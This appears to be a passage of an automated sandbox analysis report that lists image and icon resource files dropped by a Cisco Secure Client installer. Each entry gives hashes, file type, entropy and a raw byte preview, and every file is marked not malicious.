SHA1:	8859CD29B7D6A9D645C3B09D8AFAB041D3BB7A37
SHA-256:	66DAAB72327F0E98FC3006DA7B0F957901285993388BDE25D6149464A98C9442
SHA-512:	16CC5F81EC30BC027D6C3268383463968DD9E2C0A0A3BBDA8059BF8DC6A99853ED27CD1E1BD955ACF2F98B5B0693D5A2AEDCC69261F2E06B065ED11684179AD9
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ..........................@...@...@...@...@...@...@...@...@...@...@...@...@...@.........................p...0.............................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................p.....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'..M'..M'..M'..nP:...w................`.............................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..z]J.z]J.X5..M'..M'..M'..M'..z]J......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................nP:.M'..M'..M'...................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................M'..M'..M'..M'...xh..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................cB+.M'..z]J.M'..M'...xh......................@...s...s...s...s...s...s

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-BG3D3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.344520469543007
Encrypted:	false
SSDEEP:	6:6v/lhPqJsXTSgECFg9ZA3teRaCCgqMtK+ywsl3DF1bp:6v/7hXeBOgIYawtvyx3/1
MD5:	DA395D5499E3403BC29899F8ED09E0F4
SHA1:	A6806BF5F7B2B0E1DDB705E2DBDF761E704738CD
SHA-256:	E72F87D5171DCD847C6A5994471B97339C4595E0C55591B1641227B56DB02041
SHA-512:	FEF71C2D806F506CD67B3338484C0B100989135012E72B321287C662AD65BD9120B210270D0B023F76FCAFD23237E9EDEDD5987E6B4D3731B9776B2EB338FE18
Malicious:	false
Preview:	.PNG........IHDR..............}\.....gAMA......a.....pHYs...........~.....tIME........w.e....tEXtComment.Created with GIMPW.......tEXtSoftware.Paint.NET v3.5.100.r....gIDATHKc`...!@........0.a\|Rh..r....0E0>)4.}=..t.....0W....x}......a.`\|R...dTw..........B.u..-.z...8.C..^...Y.......IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-BL1UU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12780
Entropy (8bit):	7.975972884511595
Encrypted:	false
SSDEEP:	384:eS01CYt7F9/5i2XPFK02VBVDNP/RqOMGkw9j:e1th95PqjP/E1A
MD5:	1CE2626120CD6B69683255C71552896B
SHA1:	4230DF12A00E6B13CAB39EFB1C44DCBF5B656087
SHA-256:	B55ABBF6754B131C33947DCA3511D219B2AB2DC5D7E8945BF3C6A2E9FB0FEB23
SHA-512:	A197A76FB7DB9FEF68E3A49DE4C134EFB41472773F323BF4F8AB3B610174FD75C15848BB42CFC2D4240D72EFA66FF4CFFE02DDA28323279C87C7019E167F724B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.tT..7>rk.....I...R.....6D../...T@..._.A[..$rkA.D..U0......W.EI..(...^.TC.TX>...eD......>{.>g...d~k.Jf....;....G.BB.<y..#N.6.i}......#.~......G.~......s..~...5..V...N......'.=..$.........K..a{.c.........:...3.....:.L...KWu.{.._..../<.Z...n.y..../.e{.i.3.......[.O`\|..h.+../........M#._....s..G.3hO....j.._&..?...s=.<._\~I/..9....W..I.....u.tq..}..7.G;....h........f.G.v.h<....c...7.0.1....d[...^.......D"1....[.ilC..=@.6.U.O0.......P.......D.t..K..}.6M._*.....6._:h.'.Ix.htP..l.N.4.........$.m.......:........+..o<.../Ly]..p.....+...y.._.........t..........7..g...D..Y..A.........n.....9.....D."j.9....>]p.ly...........N.<....IaT..N'S..'..4.Nd.ntN........;..<d;..^..:...0...m.?).....Q..X.`).......%....!...........'..'...M2M.?..D..3{_[....jdpY.tW.i.....5Wep......Jj7....IJ....g.?M..).\}Bkc]....~u...~...w......!.x..w.......;)~NL...L.;wN............\j.[.N.Dt...EB.c:.....b..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-BTK98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.268682924293009
Encrypted:	false
SSDEEP:	6:6v/lhPZqI9EI0An9BZXg/f/8q+psYee5BtD9n1XOoLZNxdj8hVHPHQHEPisVp:6v/7kNDC9EoRtBthgwTSrPXPis7
MD5:	E36649875C18E56654D70D70405A64C4
SHA1:	F5AFE1F32062F5F8F3C036BC4C41FD4056ADE29F
SHA-256:	794A18D1D80F273108935EF4A9F1B1449EFD80E79DFC1546A410998CB2121933
SHA-512:	2EAF13B01B63712C50D5FAF9B5785468BC8444EDE766F9F89FDECAEAC5CE003A7962B7451607AA23064E5EB4E2DBDB3568713681BA778AFE1CBCCC8DA07426B4
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....WIDATH..U.m.0..".`...n@&..N.J..e.Ke.t.....x.2.#T.v...Z=)R..w.>.3r..~.....k.k.).q....^.....`.k..'.tG.......X.:Kf..=..7-........Md..`.....L.H.{..K.%D.~.i.$.F..z....]Q....Y@.f..D...C\|j.!\gi...q..R.1...2..K.....=..,..%...p+.(iW....#......r....N...=........C.8[..\<.a....2[n....B, #...u.09......a...;........._U.)K2...pb.LW...~^.......hSX.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-C2835.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	9482
Entropy (8bit):	7.969513879342907
Encrypted:	false
SSDEEP:	192:LXNXFLy+vMbgQbCoVANBzT84c2blwwjla7:rNX5ggQOoVIzwHwxA
MD5:	21841588532E34397E478E791A064F2C
SHA1:	90C0BEAC3D3A1288FB7BED658835BB6710E67922
SHA-256:	9D0F626E21D3324BE7CB473D44514737D9A9145B86E73F67EBFD6DE308B36FCC
SHA-512:	B0006DD98C201AD06F79166FD53F67C61C60C48C1506153EA47AB7F38A7D4F6CCACDF9E369AC0EFAD36B396786EDFD1FBEF8302D1F2B1F82BE6D784936ED6CB0
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx..ml]......$..B.^..R.BI.mPB..i..B.I.D.B...i...b7M...B...TI.CU..K...6%.\.5...T.....B.iU....U...x.d..y=g.9...dp..{.s.y^.y!e.1....z..BN...........[.~..X......Q.PO.w.!......k.d.M........x....y....<....O.oe.o."<...d..f.&2..".....(..{..}..C....]y..).xq.]...7....M....{......:'..'^.......9..0.._..~....#3.^M.t.0.....................\v].3.b.....ONz{.._..........m_..\..5W.buE...q..>...xE.+qA{E>^._.....f(...p5..s.fgI............_.z./.+V.>N.....D..). .q..9..!..9#..-(...^...G...].E.l.>..2...o..t/"C...x.\........u/ S\|R..)-WMK..1..\..{..&..w..V.^...U8_A(l...Jp.....y.#..b{5:...F0-..N.c..ne..5....&.Kf(j7O....../0..N.[K.#Q\|.K..cfjb;..N.....8.{....n#.j.O...Z._;.m.jWfp~.............. .w.}.<....\1X?+..4bi]..H)../.".....f.&N^......8..S..]...3..Cn..z]l.,........_...ek.e.F.-w?....i..i.B&./..........>.\|r...Ii!....Q...t2._..HHCBx..B...<?35.J.....V/..s-...[..k..V.v.a.50..teS..w`fjbm....qC.....;89+!/@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-C3GUV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29327
Entropy (8bit):	7.967732566337996
Encrypted:	false
SSDEEP:	768:kfiUT6EuEADj9MKT8NYMSNQ0Ksn1GStodN2AG1:kfTGGYRKK1GStodNw
MD5:	A0FE71E2020412BD9FFEB2712628DAD0
SHA1:	33EBF21B46A1742A46DEEE2EADB0F714B4F64959
SHA-256:	3AF5729F9A5902B409FD0D79BA1B04AF2ABDB25BCB4750F235BD61DC2EEE7C77
SHA-512:	D4886F29044F3B6A1FB900AF1973362B6822085544ED65877B2F555B360E494912AAFFDA58E49C8A91ED541F9D18482A1811C9350074797416CC8ECD06CC1863
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..]le...V...>H.mE .1.[.0#Q.6.%=..l.....ln.sC.8H#.........F..W5.-."vq1..`.:.b4..$H'-.]3.n.d.i..A.].....G..6.^{}..{=?ic...^{.w....?.cV..;B.........4[..n....r....boo..9c.9..<.(g...].{..]O....OY.b.cqq./x..9u.Uk'...R:...'.....=.G'''...t.....>..4...'...h...."...K..../7z.MOF....'....#...>.\|...S.j...3g&...~..1.:.:WB.uWJ..R.dT...'!K..rF.&E...^.......Z.........A...E..........`N...s.b. Wx..)[....o'B....}.E+c6..!.._.+Z.......R.B..G..8..D....._..N.....lle........./'#....W..]...........`0......?.^....t.......g?....j....C......KE]..z...P..W.k....PWF..aUT=O.+.7.]...QA..uz.c.D.IOF..w..hx.E.{pp...1Y..-`{ELN..}....7.0...._..Q.6z....MN...Y../..+...'B.W.s.:?....[.NDBr2._..;;..U(..!......I.7.....k..W_.R..j...'...A.......e.o.\.tkm._...S,....'.....].>....dL.z.\.ml...15u.....6^.6w.:.:.U..e.....A;.)...f,,,.z....{Oi9"....$.V.p....h...L.7.u.d.%...1..o..x..J...N5..;...Z...y.I..hj..&."q.O..2..-1.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-CGDCH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10239
Entropy (8bit):	7.950564187811269
Encrypted:	false
SSDEEP:	192:uTeKIu+Nxu1/eEefaoIgGSw78i5GJssnezz3Gu5cMrvF6AO:uTeg+NkdeCodGSiV3dcI96AO
MD5:	7DADB01AC22B7AB6F313726AD5977675
SHA1:	274554CDEB3971D3A9250AA0A7597F8B41D17000
SHA-256:	EBBA9313774314E18ABB4F4342B1C0C93DF22DD45146C6E84A08EB39BD419825
SHA-512:	C77FA7F8791A4852DBA2C9402D705E6C4CDB92DAAF71CD5F46EA8AD6EA35E41D4CFF42296C2F08133A82AE1F31DCA05C61B29AC291F85BBE4C7FDF088A4F0866
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U.._l.eK.ImJ\.7`vV...R..t..P3.L...N.DZ..R........!8...`..$.dqj..j..-.a.C.....+...WB)S.tc..N.j..xOs.>...\|....UT7....s.......c.!.Q_j.!.......rw..5.....E}.q...R..V.N'Na..@...-...y.`......h..)LS.........J!.....V<(Z9...8E:...-.B.'z.?..1.>X../.k.W(Z9C:.y.=.0.s._.K..#...-........_.0..1...P..C.{-R.Z.~>j.O.X..1...@.r.YJ.....Q.._/......7M..o.4\|....J&.t.w. .9sV.\|..kz^?5.....K.....D......Q.fd..VFIJ. >..;..".$EG'>I...m..=....E...<...?..e..V..S.\|1.3s........K@. ^.w...../`..Bf..V......\....f.w.............).'..!G!`...8......r..!)X5..l.....N%.>.T.x.mq..).E$bp\.....>&.E+A\..Z.?8.E.g.93.....v.T...I...XGW.'j5rL...WBP..@.)l.....=..=......{q...\|.Gtv.Vkr..k7s_.C.............i.l....B.#./.`.....1.(Z1 .jK...tT....._.%.D....W.P.".....z..X.^..7:.z..W..UB...V.."V~..."..!.s/..9.*.G.W.P.j.Z...B...5K..9.\.........}.P...b50T...j.f.U1.....s..}.._.J<^.s...V.d.U..,k VpU..............M..I.u.......%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-D8B19.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 1 x 38, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2213
Entropy (8bit):	4.905752993252195
Encrypted:	false
SSDEEP:	48:iY/6A64knA9WIiDYfv4c0POd9Od4LOR3POgHWv:iYSGknmWIiDYfQpOd9OdqOVOgHWv
MD5:	A3A99D7E09DE348A18379BA84F5FBD33
SHA1:	7E7BE73D74601EA7CCFE7389152D189DA10A275F
SHA-256:	A8F0C8E087C47D78EBC0D0D9FBE4BF124F9049BE49A4D7E919D80CEF3E294FD7
SHA-512:	414293559F4245B4065246C582D815582E4DFF1E0882CDC3B0439E66204916B9C372D5430C77C49444CB69F61C715337C67275773D76E36C377AB287FEAC2E8E
Malicious:	false
Preview:	.PNG........IHDR.......&.....2b.5....PLTE...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................h....pHYs................ iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 20

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-DBQ7M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2002
Entropy (8bit):	7.874049849617631
Encrypted:	false
SSDEEP:	48:aYtizXuhGfrlz7ES0+AXMzboB3CiWBgvnUeHAG:nkVFNA8Pq39/UegG
MD5:	513D5EA87AFF39BFAC791F6A1AEA44B6
SHA1:	1858020A95D380478119D11C567D686B3097CEC7
SHA-256:	E04B608228DB3AB98917F8B62BB3F64FFBC6E272FFD2B84B2CEB752838FE4485
SHA-512:	2F26AECB0AE3B423B79B4EFDF7CFF8535236E62102F0F4DB9C98A88243B3B1A6EE5CB30F6D049FC3F5E19ABBF22C5DF19805ACB2F7FD3BEB77D7D33AA351E5D5
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..{lSU...vK.nl%.6..... ...0.q#D.?d....C1!j..G.Q0.,A:b.q..5d...L%...H..I@.9..B.G..E.=.SN.n....n.&..]...........A1..Z\BD6"..G.?..AD.~....l?...G...Z.KD.DTAD%.{.V,a....(#=..{..a:........)/.H-Dt..l.f....l-.p(5.;.ge2 E.K.....ro?....9v.9.....r.m...8.-.....JW.....K............\..]OP..R...lz...J...\|P..uP.-...J3 ...Ui.......OxcK..@...L.Bl..8....{M.b...m.b.1....^.(...UG.M..2[..x..k.[K;.=G.SR5.....Fh{...\|..qo..8....PR._0[..&...SR....^..(M.d6.B .Lek...<j;}.r.s..k........q8M........z..5..MkV/..?]J......kw8.B.b..:...qW...U.g^..O.}.\|/$@.s..0].r..twR..o.7.....4.J.Gs-6.....C.@..Ho8.s..0u...{..r3.Ri.S.U.B....Vm...Y...9.K}.`..7U..y..I.....j................+..d.p].'.>.O..U.....<....F..X.....9.M..5w....e>@wO[.<C).r.\|.Z.....e.....t..>............E].N:xa...,)Y....T4.a.~.U..0.^U8.A..............\|Y.....@O...)?)..9.v^...W.#.2-M.:M.@..O.......l....T..L.....,..P.''...E...ZUX@-..P.V&eX.......M...<.c+.A....K...V.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-DJICU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13633
Entropy (8bit):	7.975971786407776
Encrypted:	false
SSDEEP:	384:6MOtUX/uOlpyiGD809Mt039VytL65doCQc:1NWFl809Mt0j0Lap
MD5:	9C88E64458F50120E89167040B55A41C
SHA1:	8A43DFC4B9ED2CB460A024562405302468185A09
SHA-256:	E1E3C1C59B21F0F49EC9DB747C14760EC2068394F739A2E456F20A25E40AD24D
SHA-512:	7EACCCFC904D52AA13214757309858F4083F5CD8C06D6442F3C3F361A2AD01865C4A816240F3B87B63052F33AB96EB08F0C504A1CF0110C569D64350948B3BD8
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..}.t.......KT .J.(..U".T.`..+.U.D...`.....G....V[.&.....m.JX7...A.>..G....^4....8..g....=..I.[...9gf.\|...c......+\.>..8^E.M=..O....w\|.U......'..5G.A...].......h.......7'.....3=9.Uk.Hi..9Q.9o.E.^..F.^.......+I.......8W.E....w..~...&..?.............7..-..FAO.S.......>.A..:.....d.Z.(.=.{Qy!.Fz....q.N.p..+.....\DFp.c...x.y.....u.7.&................kg..{.g.../...EL .......E..-...#.#.....f$g.v"........Igup..E.,b:f..Lv..#/&..oM.l..G..z^Q.<...f.^]{.[.g...q.X...._.....s.d..(0"..<...V.8q....CM..N....yb...{.i....d....Q....c...{.z...x..D.Mi....<'...#c....G..F.......CM).9.'...n...Y...zz..q..l.;.j.w...!.F..'&........!z\s._.j..u.Q...].k+...(...R'.H..B....(x.R'.H...-.N.8....\|_...!.Ks.>9.yf.^@..P.O..../..^..#.j/.......w....c?op.C2q..:...$#=A.n]..i..y.'....tR.D...5...T.DO.#..U...}"\|\..S.qH... .H[..<..]..V...u(.0O:2.X. .....>.S\.?.$...Ez.....$..<.. .=..paR.\|...8..T....]......./...IY.......O

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-DSA78.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1260x1024, components 3
Category:	dropped
Size (bytes):	399779
Entropy (8bit):	7.9639437199622165
Encrypted:	false
SSDEEP:	12288:NZGJOTaTKegfZjGiFfyHLyforThgWTZcWX1nQ8WMsETaVovwV:/JT6g5JyjrThgWTZvQ8lsvVnV
MD5:	DF0BDC3CDA98B3BE333FEB2A2770002C
SHA1:	D0FED726183EBEA0B535EE06A66805E7BF3C9386
SHA-256:	FD3413367D94F80DC520390C0971F9AA44003C9C6F32BCBC3303A6682D0B0175
SHA-512:	46F9DA519D7D8E1D192D9EB6082FBEAAE164EC58C97C22BB576B8DEEC387B57FFC8CF8BF75412C8FD2B30B9962B96070A679F2E26558099B5DB4411A59E0386D
Malicious:	false
Preview:	......JFIF.....H.H.....,Photoshop 3.0.8BIM.........H.......H........D.http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/". xmlns:pdf="http://ns.adobe.com/pdf/1.3/">. <dc:format>image/jpeg</dc:format>. <dc:title>. <rdf:Alt>. <rdf:li xml:lang="x-default">Ba

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-DTO7B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	31702
Entropy (8bit):	7.968827949628217
Encrypted:	false
SSDEEP:	768:j9rxAm3IyJR5xmDQXMUg0HvpXOQFvgMN/2iHxr:j5X5AVUjEQ9NVRr
MD5:	D7A6605937F7BE6861ED243FEED7B2AF
SHA1:	CE9EFBCE4C470923C242615A0B53E775800BB031
SHA-256:	331F0FB3EAA0F38927DD0B350A6D92B8E18ACFDF64CBC597B470EF6E4D055C81
SHA-512:	A9C1C5503D9987245389C762ECDA0F4803BD84CC3D47534731F9194BB33DF93C7FEA6569D6E0BE03C4A59551B4F8021AA129A38FFF653FEB81B5DBF065438FCF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx...l]...2j...J.H......vf2e..8....Tu.4j...p50E...P.8.+.k.. Z..%.F...#..5..SR'.B{....d:p.;.7P.Nf........d.}..g.[k....#.....g.....%H...!..~.T.^...'&&..2>>./...A......e.EX....v....e...nb.....E..(}yO......O.ttt.:...8...%k...rW.....h$..^.L..<..5.V..{..7...,.#..r..x...$...$..H\|!...A.^.4.$..Ht!t_. I.J....bXy!$E].$...(."..X.B<..c....i7...p!.....X.s.\..^...............~....>.6^..8;...D..>./.hs.Q..u1f..hii)...I......q.....8s..F...0..i+\x<...A..22lZ..&x....y%\.....7..b.iTH...z..1....G.$........1a.d..b..Kvh...V...<"1.lG..p..?.B....)q...q.'o..6mJ..G.y.....=.....1...R.8.....3..7.tc..l...../....L...Fs?&Q....G?J}PI~.v!.......Cm..P.;....T..=....%........^.s...~x.~....}.5.\...o..}]..s.....2......?...-?....tDW(.b.K.X.o.........;.w...w.........\..0.o..N.......^...7..........d..].........{....+..o...... '...).....]..n.G...+....Q...IvB.......x..y...^..3.sm..I...Hb.]g..-.g ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-DV4R4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12252
Entropy (8bit):	7.977665916091742
Encrypted:	false
SSDEEP:	192:wld0FFxadXOHqBRtSDkAW0C6j7dNirKFbu+MMIxh0kOeg+Y/meTYeJlJlFrQ/:2oFxTqvt4TW56j7uraNw70kkHd/Jnk
MD5:	864800C5743CB649C4616758EA169E4F
SHA1:	3A02818977AF60D5DA37011CFC35DF11FC467906
SHA-256:	EF07FC7A9E194C9F076CF86C65E292816AAF666C00400A0BE8F70FB7740E902B
SHA-512:	ADE99880BB1B1A1FE3ED348AD625D6301FE8631E594E1CCBBE8678245F5B1EE2BBF93BEF7101698CF909E93CD4BBF005DD20466D3A278A9CACE91B324A23A48B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....&......!.O....Z.(.....[p....w...X.Hp.uKp...&.+V.....A/.S[.l.....j.}...b$...M..gf.9..;7......;3g......)WH.]....>.y..t......6.O'N..8.#.v<..Kv........y....;q.....(..mG..8]..G...]...."l>........vd.C.....nHp...v!....Ks^?I.T..1%.U..s/...+.I.{Yv.2."/...`.p.........1?8L."lDo.e...O/..~..[..o..>. .o....-.=.]h.g.Y.......F.4g..../..x.......C.?..#...%.2...PNz...............-...i..8}.e?.......]~... .......t..l...FD.g`........3g\I.,ZD.7.+.....:7.6....J.T.?.f".....8.X.:2.j?......LK..G....h..l[...v\|...9.[p.6.<....$....\...^.o....Ti../.{.HQ.ID...o.jl.A..(......./...".6.'..V.....T....~...I....,t..Hh.zT.G...njG&...7.MIE.g....../S...i,..Z..D.D._..H. ..3......Y..2...O.........&.......)?...%.c.........eG.o..I,.N....wI..[:......./..+B..$..]l._..T..2<....;.v.~5t.I/..?..=..&.....U....L...L.....\|...0...w.....V....-.x.D..8...K/.d)......kj."......g*wo}\V.Q..8.).....?'..wP..?5A....K.1?8...e.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-EOEQQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0468421318534369
Encrypted:	false
SSDEEP:	6:rlL14RyS5lhJEO7dVVvydaS+Qu7lfTllv7l3Jl//lHNlP4lp4lX4lR4lf4l54lng:xh4r3rEOKJmfGJ5
MD5:	223CC34A3299A5777171F41DF8453CDD
SHA1:	559AA03C2FB5D602B4116C16A7D73EE81C99F37B
SHA-256:	7E62C5A39DCDD0DFB69F1CCC882579D71DFD4DD345828318F1170AC48ED7F934
SHA-512:	5DC60D3801387F534A126D0DE4336993954274BE9696A0D73CE3161C6B2D36B7DCFFC38AD714CCD0CFBDB397FECC9DF845AF4B65215249A7637321F38A5033D6
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-F2HR0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2226, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76349
Entropy (8bit):	6.476357962983417
Encrypted:	false
SSDEEP:	768:FVQKRdUmqPkx3KW18PXAvBXZc1cgOdRAXYg3w9pxiwzL6s7UJrwu4be/NG0Zpnel:FVT3K1PQx32w9pUwCKu4k5Tne54DD+
MD5:	FC85657D1B695A1BBF554859C7073AB6
SHA1:	DE271697015CD2BE237C3F112A2FA8391C7FE0A0
SHA-256:	734ACBF5F095BFC5092CCDE8C2721477C6B6F8C4BEC6E14F7F6E11012DC648F9
SHA-512:	AD8DA7E48ED1288FC24B7CE87B7F5557D1055C141B385E8BDC37B0BF56FF1BFFDF3516759DA613BD066EEB64C25C43D0D1609C3EC5AF7900081BA9083BF4361F
Malicious:	false
Preview:	.PNG........IHDR...............:z....pHYs...#...#.x.?v.. .IDATx.....H. Pi....`...`....<.`!d.`.........X.k.x@y.....KM.{.T.H.Dt..4\.2.....................................................................................................................X.V.<.n........a.9\ ...Af[.7K.C.q.C.K....T..P7.N.k...P.S..O...5..'....1...<8[.8$......@....A.(..!......@....A.(..!......@....A.(..!......@....A.(...j,.....}.q..}...ZU.....y.......c_..U...\].....k.2\.}.j..V7........K.....C.\|..{.p^/.m".'.....q...>..J..}wJ.v.....A.-O=oA%o.J.......SG.H@.h[.X7\|....P .O..%.P..B@. .... .....P..B@. .... .....P...~(g.k..KjoW...zt....v....('..........2..3.}k.... .-.7.:ts-h..u...X...,w..V..;..i.3.!.<.>..mg..{7>C@....Ye...A@...rS3.A@. .... .....P..B@. .... .....P..B@. .... .....P..B@.t....y......!G...9gg...B.../g..;.%.\|p...S..5....&.o'.......6.('8.BZm?...}..T.S:.Z.<..:v..=.5.....}ku.D.3.C_.......F.r9....*.zG=.....c....q.......j?....r.\.G...[^..!......@....A.(..!......@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-FMJ44.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5558
Entropy (8bit):	4.450533821817726
Encrypted:	false
SSDEEP:	96:vcn7ngbW2IU8R9Lq+LhfSnuX31xEqxpkg:E74IU8R9LqMTFxz
MD5:	EAF0F00DA8BB1D384B8A5BB3B82D0A54
SHA1:	2E7021D20D962F4568A51757B2D9B7408624740E
SHA-256:	86D5102E01D6D29D5AEE6E87E827B8C624D7B552035C9AFDB0BE2B120E4A553F
SHA-512:	57358DEA1B8A75A8FEEE29F9D83931D65672B228B93CE6C9CFEEBA3C77FD9FDB8D7B7D4A1F3188D8CBC2FEBF8B427F574791E6210580499788FF101641C01854
Malicious:	false
Preview:	...... .... .(...&......... .h...N...(... ...@..... ........................................................................ ...`...................................................................................................................p.........................................................~...~...}...}...}....0........................................`................z]J.M'..'....hm.)...................................................................................................z]J.M'..M'..M'..M'..'...%x}.+...............................................................................................M'..M'..M'...kY..............x}.....!....................................................................................xh.M'..M'..z]J.....................8y}.4...#................................................................................xh.M'..M'..............................Az~.=...%......................................................................p........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\is-FOQIH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12124
Entropy (8bit):	7.978101118980993
Encrypted:	false
SSDEEP:	192:6QcIfCBldrUhS+mzFAXOk03y4nRFoVKX22ZSsnVqzY5oarRl75w1/i5IxehvNbim:6QcRBld2S+m5AOTRaI22ZSgVq053t5ww
MD5:	5B846635AC3DA9C8E857C042ED0EA2F6
SHA1:	B439FC64436B74900F453ED2480C8CA547CBCDCC
SHA-256:	9C6135A6176AC9D00E1BD4307A3111BBECD39814DB18212DA1D55916A4EEDB4F
SHA-512:	0A58ED5105CFB87DD3F91675734171989C0A36B572BA2D20706CC831E0DAD9DB37175754E405680B4DEE4D6D958DA63B89413E2B6D2725A84C95932F8D123323
Malicious:	false
